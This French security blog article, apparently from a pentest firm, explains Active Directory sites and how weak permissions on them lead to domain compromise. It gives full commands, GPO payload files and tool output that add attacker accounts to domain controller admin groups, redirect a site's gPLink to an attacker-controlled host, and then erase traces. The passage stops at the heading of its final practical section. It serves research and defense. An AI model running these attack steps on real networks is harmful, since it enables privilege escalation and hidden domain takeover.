Site Unseen : Énumérer et attaquer les sites Active Directory

Rédigé par Quentin Roland - 05/11/2025 - dans Pentest - Téléchargement

Les sites Active Directory représentent une fonctionnalité permettant d’optimiser la performance réseau et l’usage de bande passante dans les environnements internes. Ils sont fréquemment implémentés par des organisations de taille importante, géographiquement dispersées et présentes au sein de plusieurs pays ou continents.

Les sites n’ont jusqu’ici pas reçu beaucoup d’attention de la part de la communauté de recherche offensive Active Directory, comparativement à d’autres vecteurs d’attaque basés sur les ACLs. Cet article vise à démontrer que les vecteurs d’attaque associés aux sites Active Directory non seulement existent, mais qu’ils peuvent mener à des scénarios d’élévation de privilèges à fort impact, et à la compromission d’un voire plusieurs domaine(s).

Nous décrirons une pull request que nous avons soumise au projet BloodHound, dans le but d’énumérer les chemins d’attaque liés aux ACLs des sites Active Directory. Nous aborderons également en détails comment exploiter en pratique ces vecteurs d’attaque, pouvant à la fois permettre une élévation de privilège, mais aussi un mouvement latéral au sein d’une même forêt.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Introduction

Les sites sont associés à la représentation physique d’un environnement Active Directory, plutôt qu’à son aspect de gestion d’identité. En tant que tels, ils ont pu être considérés par la communauté de chercheurs Active Directory comme moins intéressants du point de vue de la sécurité, et relégués à une fonctionnalité situationnelle, liée à des enjeux de production, et n’offrant ainsi pas de réelles opportunités offensives.

Bien qu’il soit vrai que l’ensemble des organisations ne se reposent pas sur les sites Active Directory afin de structurer la répartition physique de leur réseau, le présent article vise à démontrer que, lorsqu’ils existent, les vecteurs d’attaque basés sur les sites peuvent s’avérer puissants et mener à la compromission d’un ou plusieurs domaine(s). Ceci fait que les sites peuvent être considérés comme des composants d’infrastructure critiques, ayant leur place dans les outils de visualisation de chemins d’attaque tels que BloodHound.

Une autre technique d’exploitation associée aux sites, documentée mais encore peu connue, sera également décrite au sein de cet article. Son exploitation permet à un attaquant de se déplacer latéralement au sein d’une forêt Active Directory, sans être bloqué par quelconque configuration de SID filtering. Nous monterons comment cette technique peut être concrètement exploitée, en mettant à profit l’outillage offensif que nous avons publié il y a quelques mois.

 

1. Sites Active Directory : les bases

Cette première section clarifie ce que sont exactement que les sites Active Directory, et comment ils sont concrètement implémentés dans les environnements Active Directory. Si vous êtes déjà familiers avec ces concepts, n’hésitez pas à passer à la section suivante.

Comme cela a brièvement été abordé ci-dessus, les sites Active Directory sont principalement utilisés pour des raisons d’efficacité du réseau et d’optimisation de l’utilisation de la bande passante. Les sites sont des objets auxquels sont associés des sous-réseaux connectés entre eux. Tous les objets (les ordinateurs ainsi que les utilisateurs se connectant à ces ordinateurs) inclus dans les sous-réseaux associés à un site font partie de ce dernier. Un site associe ces ressources pour deux buts principaux :

  • La réplication. Dans les environnements Active Directory, lorsqu’un changement est appliqué auprès d’un contrôleur de domaine spécifique, les autres contrôleurs de domaine (du même domaine pour les données liées au domaine, et l’ensemble de ceux de la forêt pour les partitions du schéma et de la configuration – plus d’information sur ce sujet en partie 5) doivent répliquer ce changement. Il existe deux types de réplication Active Directory : intra-site et inter-site. Puisque les ressources situées dans un seul et même site peuvent communiquer de manière rapide, la réplication intra-site est effectuée par défaut très régulièrement (toutes les 5 minutes). Puisque la réplication inter-site est plus exigeante en termes de ressources réseau, la bande passante est compressée, et les administrateurs peuvent adapter les paramètres de la réplication au travers de site links (180 minutes par défaut).

  • L’authentification. Un site est associé avec un ou plusieurs objets serveur, qui ne sont rien d’autre que des contrôleurs de domaine responsables du site. Les objets qui font partie du site prioriseront les contrôleurs de domaine qui sont configurés comme serveurs pour le site.

Par défaut, il existe un seul et unique site dans une forêt Active Directory (appelé Default-First-Site-Name). Jusqu’à ce qu’un autre site soit créé, tous les objets sont automatiquement assignés à ce site et toutes les actions de réplication sont effectuées en mode intra-site. Si un administrateur souhaite ajouter un site supplémentaire, il doit le configurer et lui assigner un site link. Un site link est l’objet qui permet à la réplication de s’effectuer entre deux sites, et définit les conditions dans lesquelles elle doit se dérouler (par exemple, la régularité de la réplication). Par défaut, les site links sont transitifs, ce qui veut dire que si le site A est lié au site B, et le site A est lié au site C, alors le site B est transitivement lié au site C. Un tel mécanisme est concrétisé par les site bridges, qui sont des objets créés automatiquement si la dimension transitive des site links n’a pas été explicitement désactivée par un administrateur.

À noter qu’il est tout à fait possible qu’un site devienne isolé si, en raison d’erreurs de configuration, il n’est plus lié aux autres sites. Cela peut causer de sérieux problèmes au sein de l’environnement, puisque le processus de réplication ne pourra pas être effectué, menant à des divergences entre les données des différents contrôleurs de domaine.

Enfin, il est important de mentionner que les sites Active Directory ne sont en aucun cas liés à la répartition des domaines. Un site peut contenir des clients et des contrôleurs de domaine appartenant à divers domaines distincts de la forêt. C’est pourquoi il peut être dit que les domaines Active Directory permettent la segmentation logique des ressources internes, lorsque les sites, eux, constituent la représentation physique et géographique de l’environnement.

 

Sites visual representation
Représentation simplifiée des sites Active Directory.

De manière plus concrète, les sites, sous-réseaux, et site links sont des objets LDAP situés dans le contexte de nommage de configuration qui est répliqué au travers de toute la forêt. Ils sont inclus dans le conteneur CN=Sites,CN=Configuration,DC=corp,DC=com (plus de détails sur ce sujet dans la partie 5).

Les sites peuvent être managés depuis l’interface utilisateur Sites et Services.

Active Directory Sites and Services
Interface utilisateur Active Directory Sites and Services.

 

2. Pourquoi s’intéresser aux sites ?

Maintenant que les concepts derrière les sites Active Directory sont clarifiés, pourquoi devrions-nous, d’un point de vue offensif, s’intéresser à eux ? En particulier s’ils n’ont pas d’autre utilité que de grouper des objets dans une optique d’optimisation réseau ?

Il s’avère qu’il est possible d’assigner des Group Policy Objects (GPOs) aux sites Active Directory. Les objets de type site disposent en effet d’un attribut gPLink, décrivant quelles GPOs s’y appliquent. Cela a du sens, puisque certaines configurations doivent être appliquées en fonction de l’emplacement géographique des objets (règles de pare-feu, favoris de navigateur, identité visuelle etc.). Cependant, cela crée également des vecteurs d’attaque intéressants reposant sur les GPOs.

En effet, si un attaquant parvenait d’une manière ou d’une autre à lier une GPO malveillante à un site, ou à empoisonner une GPO qui y est déjà liée, alors il serait possible de compromettre l’ensemble des objets du site, y compris les contrôleurs de domaine assurant le rôle de serveur de site.

Plusieurs chemins d’attaque reposant sur les ACLs peuvent concrétiser un tel scénario, c’est pourquoi les ACLs relatifs aux sites doivent être considérés comme intéressants, voire critiques lors de l’énumération des environnements Active Directory.

 

3. L’énumération des sites : intégrer les sites Active Directory à BloodHound

Nous avons observé que, de manière cohérente avec la faible popularité des sites dans la recherche Active Directory offensive, il n’existait pas réellement aujourd’hui d’outils permettant de collecter et d’énumérer les ACLs associées aux sites afin de mettre en lumière des chemins d’attaque. Plus spécifiquement, le très répandu outil BloodHound n’inclut pas, en l’état, de telles données.

Bien que les ACLs dangereuses affectant les sites ne soient pas aussi fréquentes que d’autres défauts de configuration liés à des objets plus communs, il est important de les repérer lorsqu’elles existent, en raison du fort impact de sécurité qu’elles peuvent avoir. C’est pourquoi nous avons soumis une pull request sur le collecteur SharpHound, la librairie SharpHoundCommon, ainsi que sur le projet BloodHound. Ces pull requests implémentent les fonctionnalités suivantes :

  • Collecte de données relatives aux sites, aux serveurs de site, aux sous-réseaux de site lors de l’énumération des données des environnements Active Directory.

  • Représentation des données de sites dans l’interface BloodHound, en assignant à chaque site les serveurs et les sous-réseaux qui y sont associés.

  • Ajout des sites aux cibles de forte valeur (high value targets) par défaut, puisque le contrôle sur un site résulte en la compromission potentielle de tous les objets associés au site, incluant au moins un contrôleur de domaine agissant en tant que serveur de site.

  • Création des liens d’ACLs à destination des sites (GenericAll, GenericWrite, WriteGPLink), puisque ces permissions sont exploitables (voir la partie suivante pour plus de détails).

  • Ajout des liens de GPO (GPLink) vers les sites, de façon à énumérer les GPOs affectant les sites (le contrôle de telles GPOs devenant ainsi d’autant plus intéressant).

Les captures d’écran suivantes fournissent un aperçu de la pull request. Il doit être noté que cela est uniquement fourni à titre d’information. L’implémentation dépendra de la revue de la pull request effectuée par les équipes BloodHound. Si la pull request est acceptée, les visuels ainsi que les choix d’implémentation pourront être appelés à varier.

Sites subnets
Représentation d'un site et des sous-réseaux associés.
GPO server
Représentation d'un site et d'un serveur de site associé.

 

Sites ACLs
Représentation d'ACLs affectant un site.

 

Site GPO gplink
Représentation d'une GPO affectant un site.

 

4. Exploiter les sites par GPO pour élever ses privilèges

La partie énumération étant désormais couverte, la présente section s’attachera à décrire les différents scénarios d’exploitation pouvant affecter les sites, et comment les concrètement les exploiter.

 

a. Contrôler une GPO liée à un site

Le premier scénario d’exploitation est également le plus simple. Il peut être déroulé lorsqu’un utilisateur dispose de tout type de permission d’écriture sur une GPO liée à un site. Dans ce cas, un tel utilisateur pourrait être en capacité d’injecter une configuration malveillante dans la GPO liée au site, et compromettre ainsi tout objet inclus dans le site.

Pour le reste de cette partie, les démonstrations seront effectuées dans l’environnement suivant. Une organisation dispose d’une forêt Active Directory, avec le domaine racine corp.com. Trois sites sont configurés : le site par défaut Default-First-Site-Name (pour les bureaux du siège à Paris), ainsi que les sites NewYork et Sidney pour les bureaux à l’étranger.

Partons du principe qu’un attaquant a compromis l’utilisateur adove, qui contrôle la GPO Paris_Servers_Firewall_Rules. Cette GPO est liée au site Default-First-Site-Name, qui dispose d’un serveur de site, AD01-DC, du domaine corp.com.

Sites gplink exploit
Chemin d'attaque pour vecteur d'exploitation via GPO liée à un site.

Une telle configuration peut être exploitée par l’injection d’une configuration malveillante au sein de la GPO Paris_Servers_Firewall_Rules, puis en attendant que le contrôleur de domaine AD01-DC applique cette GPO, résultant en la compromission du domaine corp.com.

Pour ce faire, l’outil GroupPolicyBackdoor.py que nous avons récemment publié peut être utilisé. L’outil fournit un framework de manipulation de GPO en python. Le wiki du projet décrit en détails le fonctionnement de l’outil, et inclut des exemples de commandes. En un mot, les configurations à injecter dans la GPO cible sont décrites par des fichiers .ini. Plusieurs types de configuration sont supportés (voir le dossier modules_templates du projet). Dans notre cas et pour des raisons de simplicité, nous injecterons une simple tâche planifiée immédiate ajoutant l’utilisateur contrôlé adove au groupe local Administrators. Il doit également être noté qu’un filtre basé sur le nom de la machine est implémenté ici pour uniquement cibler la machine AD01-DC, et éviter que l’ensemble des ordinateurs du site n’appliquent la configuration injectée. Ainsi, le fichier ImmediateTask_create.ini est créé :

[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "net localgroup Administrators corp.com\adove /add"

[MODULEFILTERS]
filters =
    [
        {
            "operator": "AND",
            "type": "Computer Name",
            "value": "ad01-dc.corp.com"
        }
    ]

La configuration décrite dans le fichier peut désormais être injectée dans la GPO cible avec la commande gpo inject.

$ python3 gpb.py gpo inject -d 'corp.com' --dc ad01-dc.corp.com -u 'adove' -p 'Password1' -m ImmediateTask_create.ini -n "Paris_Servers_Firewall_Rules"
GPB - INJECT command - 2025-10-30 15:04:24.346517

[#] Command execution setup

[+] All modules validated
[*] State folder is state_folders/2025_10_30_150424

[#] Generating XML payloads for modules
[+] Successfully generated XML for all payloads

[#] Writing modules XML to the Group Policy Template via SMB
[*] Writing module Scheduled Tasks (computer)

[#] Updating GPO extension names in the Group Policy Container via LDAP
[+] 'gPCMachineExtensionNames' successfully updated

[#] Increasing the GPO version via LDAP and SMB
[+] Successfully increased LDAP GPO version
[+] Successfully increased SMB GPO version

[+] GPB INJECT command success

Il ne reste désormais plus qu’à attendre que le contrôleur de domaine cible applique la tâche immédiate malveillante, et ajoute l’utilisateur adove à son groupe local Administrators – c’est-à-dire, puisque nous nous situons sur un contrôleur de domaine, le groupe des administrateurs du domaine. Dans le cadre des contrôleurs de domaine, les GPOs sont réappliquées toutes les 5 minutes. Ainsi, après ces 5 minutes, il est possible de confirmer que l’utilisateur adove est administrateur local de AD01-DC, en se connectant au partage administratif C$.

$ smbclient '\\ad01-dc.corp.com\C$' -U 'corp.com\adove' --password 'Password1'
Try "help" to get a list of possible commands.
smb: \> dir
  $Recycle.Bin                      DHS        0  Thu Dec 21 09:28:19 2023
  $WinREAgent                        DH        0  Thu Jun 12 18:37:16 2025
  Documents and Settings          DHSrn        0  Thu Dec 21 18:06:11 2023
  DumpStack.log.tmp                 AHS    12288  Thu Oct 30 22:25:32 2025
  pagefile.sys                      AHS 738197504  Thu Oct 30 22:25:32 2025
  PerfLogs                            D        0  Sat May  8 01:20:24 2021
  Program Files                      DR        0  Thu Dec 21 18:57:48 2023
  Program Files (x86)                 D        0  Thu Dec 21 09:29:25 2023
  ProgramData                       DHn        0  Tue Aug 26 00:10:17 2025
 [...]

 

GroupPolicyBackdoor.py peut ensuite être utilisé pour retirer la configuration injectée, via la commande gpo clean, afin d’effacer les traces d’exploitation.

$ python3 gpb.py gpo clean -d corp.com --dc ad01-dc.corp.com -u 'adove' -p 'Password1' -sf state_folders/2025_10_30_150424
GPB - CLEAN command - 2025-10-30 15:11:19.450167

[#] Command execution setup
[*] State folder is state_folders/2025_10_30_151119


[#] Cleaning configuration of type Scheduled Tasks (computer)
[*] Cleaning configuration with identifier {22E4F6F1-6E6C-4449-8CD0-8D8CD76211A5}
[*] Found the XML node to remove
[*] Deleting empty file \\ad01-dc.corp.com\SYSVOL\corp.com\Policies\{CFD9229F-488C-445D-9829-8B8A443E0575}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[*] Extension names should be updated
[+] Successfully cleaned configuration Scheduled Tasks (computer)
[+] Successfully updated extension names ('gPCMachineExtensionNames')

[+] GPB CLEAN command success

 

b. Exploiter les permissions GenericAll, GenericWrite ou WriteGPLink sur un site

Le second scénario d’exploitation apparaît lorsqu’un utilisateur dispose de la permission GenericAll, GenericWrite ou WriteGPLink sur un site. Cela peut arriver en raison d’appartenances imbriquées à des groupes, d’erreurs d’administration, mais également résultant d’une démarche délibérée d’administration. En effet, Active Directory permet explicitement aux administrateurs de déléguer à un utilisateur la gestion des liens de GPOs pour un site.

Sites delegate manage group policy links
Délégation du droit de gestion des liens GPO via interface Active Directory.

Les ACLs GenericAll, GenericWrite et WriteGPLink permettent toutes d’effectuer une action intéressante : modifier l’attribut gPLink du site.

L’attribut gPLink est un attribut LDAP indiquant quelles GPOs sont liées à un conteneur (domaine, Unité Organisationnelle, ou site). Avec la possibilité de modifier la valeur de gPLink, un attaquant serait en position pour forcer les objets du conteneur à appliquer une GPO malveillante. Ceci peut être effectué de deux manières.

La première est la plus simple. Si l’attaquant contrôle n’importe quelle GPO dans le domaine, alors il pourrait y injecter une configuration malveillante, puis la lier au site ciblé grâce à sa permission GenericAll, GenericWrite ou WriteGPLink. Une telle action peut de nouveau être effectuée par le biais de GroupPolicyBackdoor.py. Les commandes permettant l’injection de la configuration malveillante sont les mêmes que décrites précédemment. Le lien de la GPO altérée peut ensuite être fait grâce à la commande links link.

$ python3 gpb.py links link -d corp.com --dc ad01-dc.corp.com  -o 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=com' -n 'CONTROLLED' -u 'aacre' -p 'Password1'
GPB - LINK command - 2025-10-30 15:21:00.734878

[#] Command execution setup
[*] State folder is state_folders/2025_10_30_152100


[#] Creating link for 1 containers
[*] Creating link for 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=com'
[+] Successfully created link on 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=com'

[+] GPB LINK command success

Dans le cas où l’attaquant n’a pas le contrôle d’une GPO du domaine, les permissions GenericAll, GenericWrite et WriteGPLink peuvent tout de même être exploitées – avec des prérequis limités. La technique le permettant a été en premier décrite par Petros Koutroumpis dans son article OU having a laugh”. Nous avons ensuite construit sur cette recherche pour démontrer qu’une telle technique pouvait être utilisée pour compromettre des objets protégés, ou exploiter des droits limités sur les unités organisationnelles (voir l’article suivant). Nous avons également publié un outil automatisant l’attaque, OUned.py.

Le principe derrière le vecteur d’exploitation est expliqué en détail dans l’article de Petros Koutroumpis, ainsi que dans le nôtre, et nous n’entrerons donc pas dans les détails de nouveau. Le principe de base de l’article est d’ajouter un lien de GPO supplémentaire à l’attribut gPLink du conteneur cible (ici, un site). Le lien de GPO pointe vers un enregistrement DNS résolvant sur une machine sous le contrôle de l’attaquant, par exemple ici s1n.corp.com :

[LDAP://cn={7B7D6B23-26F8-4E4B-AF23-F9B9005167F6},cn=policies,cn=system,DC=s1n,DC=corp,DC=com;0]

Les objets associés au site essaieront alors de récupérer la GPO sur la machine de l’attaquant. Ce dernier simule un Group Policy Container (LDAP) ainsi qu’un Group Policy Template (SMB) pour servir une GPO malveillante aux clients qui essaient de l’appliquer.

Voici une courte démonstration utilisant l’outil OUned.py. Nous partons du principe que l’utilisateur aacre dispose du droit WriteGPLink sur le site NewYork, qui est configuré avec le serveur de site AD01-DC2, contrôleur de domaine pour corp.com.

Sites WriteGPLink
Droits WriteGPLink de l'utilisateur aacre sur le site NewYork.

OUned.py prend en entrée un fichier de configuration, tel que le suivant :

[GENERAL]
# The target domain name
domain=corp.com

# The target DC. If not specified, defaults to the domain name
dc=ad01-dc2.corp.com

# The Distinguished Name of the target container - here, the site
containerDN=CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com

# The username and password of the user having write permissions on the gPLink attribute of the target site
username=aacre
password=Password1

# The IP address of the attacker machine on the internal network
attacker_ip=192.168.123.17

# The command that should be executed by child objects. Specifying a command will inject an immediate Scheduled Task
#command=whoami
# Alternatively to the 'command' option, you can provide a module file with the GroupPolicyBackdoor syntax - see https://github.com/synacktiv/GroupPolicyBackdoor/wiki
module=ImmediateTask_create_computer.ini

# The kind of objects targeted ("computer" or "user")
target_type=computer


[LDAP]
# The IP address of the dummy domain controller that will act as an LDAP server
ldap_ip=192.168.125.138

# Optional (used for sanity checks) - the hostname of the dummy domain controller
ldap_hostname=WIN-QGNGA6OQUNO

# The username and password of a domain administrator on the dummy domain controller 
ldap_username=Administrator
ldap_password=Password1!

# The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller
gpo_id=52BD7653-916B-45D0-B57C-6FEF64742FFD

# The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC
ldap_machine_name=S1N$
ldap_machine_password=[K,t.RM8rzQgA9Y&`SQ2Qd$-]NQ+[1T:i<gTjzmrh8)0TrKq'-YY1USFZ]c"C`K.olFM#7_,3-:'2t%9_c(+o% g,GNedM$hR\mgWUEnk/O-q*v>cQFP#P?&

[SMB]
# The SMB mode can be embedded or forwarded depending on the kind of object targeted
smb_mode=embedded
share_name=synacktiv

OUned.py a été récemment modifié afin d’accepter les fichiers de module avec le même format que ceux de GroupPolicyBackdoor. Ce fichier (ici, ImmediateTask_create_computer.ini) décrit la configuration malveillante qui sera délivrée aux objets cibles. Dans le cas présent, le fichier décrit une nouvelle fois une simple tâche immédiate ajoutant l’utilisateur aacre au groupe local Administrators. Puisque le serveur de site AD01-DC2 est ciblé, cela correspond au groupe d’administrateurs du domaine pour corp.com. À noter que nous avons appliqué un filtre afin d’éviter que tous les objets du site appliquent la configuration malveillante.

[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "net localgroup Administrators corp.com\aacre /add"

[MODULEFILTERS]
filters =
    [{
        "operator": "AND",
        "type": "Computer Name",
        "value": "ad01-dc2.corp.com"
    }]

Exécutons maintenant OUned.py avec la configuration ainsi définie. OUned empoisonne l’attribut gPLink du site NewYork, puis attend que les objets associés avec le site tentent d’appliquer leurs GPOs. La tâche immédiate malveillante sera ensuite délivrée au serveur de site AD01-DC21.

$ python3 OUned.py --config config.ini                                                                                                                 

=== PERFORMING VARIOUS SANITY CHECKS RELATED TO THE SETUP ===
[+] LDAP computer account S1N$ valid in target domain.
[+] The DNS record S1N.corp.com exists and matches the provided attacker IP address (192.168.123.17)
[+] Successfully authenticated to LDAP server with DC account and LDAP machine_password. LDAP and machine account passwords are synchronized.

=== SETTING UP PORT FORWARDING ===
[*] Creating LDAP port forwarding. All traffic incoming on port 389 on attacker machine (192.168.123.17) should be redirected on port 389 of the fake LDAP server (192.168.125.138)
[+] Created port forwarding (192.168.123.17:389 -> 192.168.125.138:389)

=== PERFORMING GPO OPERATIONS (CLONING, INJECTING SCHEDULED TASK, UPLOADING TO SMB SERVER IF NEEDED) ===
[*] The save file for current exploit run is cleaning/CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com/2025_11_01-07_05_31.txt
[*] Cloning GPO 52BD7653-916B-45D0-B57C-6FEF64742FFD from fakedc 192.168.125.138.
[+] Successfully downloaded GPO from fakedc to 'GPT_out' folder.
[*] Injecting malicious scheduled task into downloaded GPO
module is not none, generating XML
[INFO] Validating module /tmp/ImmediateTask_create_computer.ini
[+] Successfully injected malicious scheduled task.
[*] Modifying gPCFileSysPath attribute of GPO on fakedc to \\192.168.123.17\synacktiv (initial value saved: \\s1n.corp.com\SysVol\s1n.corp.com\Policies\{52BD7653-916B-45D0-B57C-6FEF64742FFD})
[+] Successfully updated gPCFileSysPath attribute of fakedc GPO.
[*] Modifying gPCMachineExtensionNames attribute of GPO on fakedc to [{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
[+] Successfully updated extension names of fakedc GPO.
[*] Incrementing fakedc GPO version number (GPC and cloned GPT). This is actually mainly to ensure it is not 0...
[+] Successfully updated GPC versionNumber attribute

=== SPOOFING THE GPLINK ATTRIBUTE OF THE TARGET OU ===
[*] Searching the target container 'CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com'.
[+] Container found - CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com.
[*] Initial gPLink is [LDAP://cn={0F9D4847-04C8-478E-941D-ED072758DF86},cn=policies,cn=system,DC=corp,DC=com;0][LDAP://cn={556A8B50-F22B-42DF-8557-2EF54EF5C97D},cn=policies,cn=system,DC=corp,DC=com;0].
[*] Spoofing gPLink to [LDAP://cn={0F9D4847-04C8-478E-941D-ED072758DF86},cn=policies,cn=system,DC=corp,DC=com;0][LDAP://cn={556A8B50-F22B-42DF-8557-2EF54EF5C97D},cn=policies,cn=system,DC=corp,DC=com;0][LDAP://cn={52BD7653-916B-45D0-B57C-6FEF64742FFD},cn=policies,cn=system,DC=S1N,DC=corp,DC=com;0]
[+] Successfully spoofed gPLink for container CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com

=== LAUNCHING SMB SERVER AND WAITING FOR GPT REQUESTS ===

If the attack is successful, you will see authentication logs of machines retrieving and executing the malicious GPO
Type CTRL+C when you're done. This will trigger cleaning actions

Après au plus 5 minutes, le contrôleur de domaine AD01-DC2 tentera de réappliquer ses GPOs, incluant la GPO malveillante. L’exploitation via OUned.py simule un GPC et GPT valides, et délivre la GPO. Une fois ces actions effectuées, il est possible d’entrer CTRL+C afin de déclencher des actions de nettoyage.

[...]
Type CTRL+C when you're done. This will trigger cleaning actions

[FORWARDER] Incoming connection from ('192.168.123.21', 57252) - client is querying its GPC (LDAP), forwarding to 192.168.125.138:389
[*] Received an authentication request from CORP\AD01-DC2$,AD01-DC2
[*] Validating user through netlogon service
[+] Successfully authenticated CORP\AD01-DC2$ through Netlogon
[*] Granted access to CORP\AD01-DC2$,AD01-DC2
[+] CORP\AD01-DC2$ requested 'gpt.ini' ; ATTACK PROBABLY WORKED FOR THIS HOST !
^C

=== Cleaning and restoring previous GPC attribute values ===

[*] Restoring value of gPCFileSysPath on 'ldap_server' - \\s1n.corp.com\SysVol\s1n.corp.com\Policies\{52BD7653-916B-45D0-B57C-6FEF64742FFD}
[+] Successfully restored gPCFileSysPath on 'ldap_server'
[*] Restoring value of gPCMachineExtensionNames on 'ldap_server' - [{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
[+] Successfully restored gPCMachineExtensionNames on 'ldap_server'
[*] Restoring value of versionNumber on 'ldap_server' - 1
[+] Successfully restored versionNumber on 'ldap_server'
[*] Restoring value of gPLink on 'domain' - [LDAP://cn={0F9D4847-04C8-478E-941D-ED072758DF86},cn=policies,cn=system,DC=corp,DC=com;0][LDAP://cn={556A8B50-F22B-42DF-8557-2EF54EF5C97D},cn=policies,cn=system,DC=corp,DC=com;0]
[+] Successfully restored gPLink on 'domain'

Enfin, nous pouvons vérifier que l’utilisateur aacre est désormais administrateur local du contrôleur de domaine AD01-DC2, et donc que le domaine corp.com est compromis.

$ smbclient'\\ad01-dc2.corp.com\C$' -U 'corp.com\aacre' --password 'Password1'
Try "help" to get a list of possible commands.
smb: \> dir
  $Recycle.Bin                      DHS        0  Mon Oct 13 23:28:56 2025
  Documents and Settings          DHSrn        0  Mon Oct 13 23:26:25 2025
  DumpStack.log.tmp                 AHS    12288  Sat Nov  1 13:56:21 2025
  pagefile.sys                      AHS 1476395008  Sat Nov  1 13:56:21 2025
  PerfLogs                            D        0  Mon Apr  1 00:02:26 2024
  Program Files                      DR        0  Mon Oct 13 23:28:38 2025
  Program Files (x86)                DR        0  Mon Apr  1 01:16:03 2024
  ProgramData                       DHn        0  Mon Oct 13 23:54:56 2025
  [...]

 

5. Exploiter les sites Active Directory pour se déplacer latéralement au sein de la forêt

Cette dernière section décrit un autre vecteur d’attaque intéressant impliquant les sites Active Directory, cette fois afin de se déplacer latéralement au sein du réseau interne. Plus spécifiquement, cette technique permet à un attaquant ayant compromis un domaine de la forêt de compromettre d’autres domaines de la forêt, indépendamment de toute configuration de SID filtering.

Cette technique a été très bien décrite par la recherche extensive intitulée « SID filter as security boundary between domains? » et rédigée par Jonas Bülow Knudsen, Martin Sohn Christensen et Tobias Thorbjørn Munch Torp. Cette recherche est constituée de 7 articles décrivant divers vecteurs de mouvement latéral intra – et inter forêt. L’article nous intéressant dans le cas présent est la Partie 4.

Le but de cette section est de diffuser cette technique qui reste relativement peu connue, ainsi que de démontrer qu’elle peut être exploitée de manière concrète avec GroupPolicyBackdoor.py.

 

a. La théorie derrière l’attaque

Il a été précédemment mentionné que les objets liés aux sites sont localisés dans le contexte de nommage de configuration au sein de l’annuaire LDAP.

Un contexte de nommage, également appelé partition, désigne une partie spécifique de l’annuaire central, avec un périmètre de réplication indépendant. Par défaut, Active Directory implémente trois partitions distinctes :

  • Partition schéma : cette partie de l’annuaire central agit comme un modèle et décrit les objets pouvant exister dans la forêt, ainsi que leur structure. Cette partition est répliquée au travers de la forêt, signifiant que tous les contrôleurs de domaine dans la forêt disposent d’une copie identique de la partition schéma, même s’ils appartiennent à différents domaines. Le processus de réplication (inter ou intra site) assure que la partition est la même sur l’ensemble des contrôleurs de domaine.

  • Partition configuration : cette partition inclut principalement les informations relatives à la topologie du réseau et aux actifs associés au processus de réplication (comme les sites). De même que la partition schéma, l’ensemble des contrôleurs de domaine de la forêt disposent de la même version de la partition de configuration, qui est répliquée au travers de la forêt.

  • Partition domaine : la partition domaine contient les objets de l’annuaire, tels que les utilisateurs et les ordinateurs. Cette partition est uniquement répliquée entre les contrôleurs de domaine d’un seul et même domaine. Elle n’est pas répliquée au travers de la forêt.

Le point intéressant ici est que la partition de configuration est répliquée dans toute la forêt, et chaque contrôleur de domaine de n’importe quel domaine de la forêt détient une copie éditable de cette partition.

Cela veut concrètement dire qu’un attaquant qui a compromis un domaine dans la forêt (par exemple, un domaine enfant) peut altérer la partition de configuration de la forêt. En conséquence, cela signifie que l’attaquant pourrait être en capacité de modifier la configuration des sites Active Directory de la forêt. Comme nous venons de le démontrer au cours de l’article, les sites peuvent être associés à des Group Policy Objects. Ainsi, depuis le domaine compromis, l’attaquant pourrait lier une GPO malveillante à un ou plusieurs site(s) contenant les contrôleurs de domaine des autres domaines de la forêt. Suite à la réplication de la partition de configuration, les contrôleurs de domaine en question appliqueront la GPO malveillante, aboutissant à leur compromission.

Pour être plus précis s’agissant des permissions relatives à la partition de configuration, les identités suivantes disposent des droits nécessaires à son édition : le groupe Domain Admins du domaine racine de la forêt, les groupes Enterprise Admins et Enterprise Domain Controllers, et enfin le compte local NT AUTHORITY\SYSTEM de tout contrôleur de domaine stockant la partition de configuration. Ainsi, sur tous les domaines autres que le domaine racine de la forêt, les droits d’administrateur du domaine ne suffisent pas à éditer la partition de configuration. Pour y parvenir, il faut exécuter des commandes en tant que SYSTEM sur un contrôleur de domaine.

Permissions configuration partition
Permissions par défaut sur la partition de configuration.

À noter que le vecteur d’attaque ainsi décrit n’est pas bloqué par quelconque mesure de hardening liée au SID filtering.

Un prérequis nécessaire à l’attaque est que le contrôleur de domaine ciblé au travers du site doit avoir une connexion réseau vers au moins l’un des contrôleurs de domaine du domaine qui a été compromis. En effet, la GPO malveillante sera typiquement hébergée sur le domaine compromis ; sa récupération requiert donc un trafic LDAP et SMB depuis le contrôleur de domaine ciblé, vers celui qui a été compromis. Ce prérequis sera rempli dans une vaste majorité des cas. En effet, si le contrôleur de domaine compromis et cible sont dans le même site, la réplication intra-site nécessite une communication réseau entre les contrôleurs de domaine. Similairement, si les contrôleurs de domaine compromis et cible sont dans deux sites adjacents (des sites qui sont directement liés au travers d’un site link), au moins l’un des contrôleurs de domaine compromis devrait être atteignable par l’un de ceux du site cible (les « bridgehead servers »). Ce prérequis pourrait ne pas être remplis dans le cas de réseaux qui ne sont pas entièrement routés, et pour lesquels les actions de réplications sont effectuées via un site link transitif. Il sera cependant toujours possible de remonter vers un site lié au domaine cible, pour ensuite pivoter vers celui-ci2.

 

b. En pratique

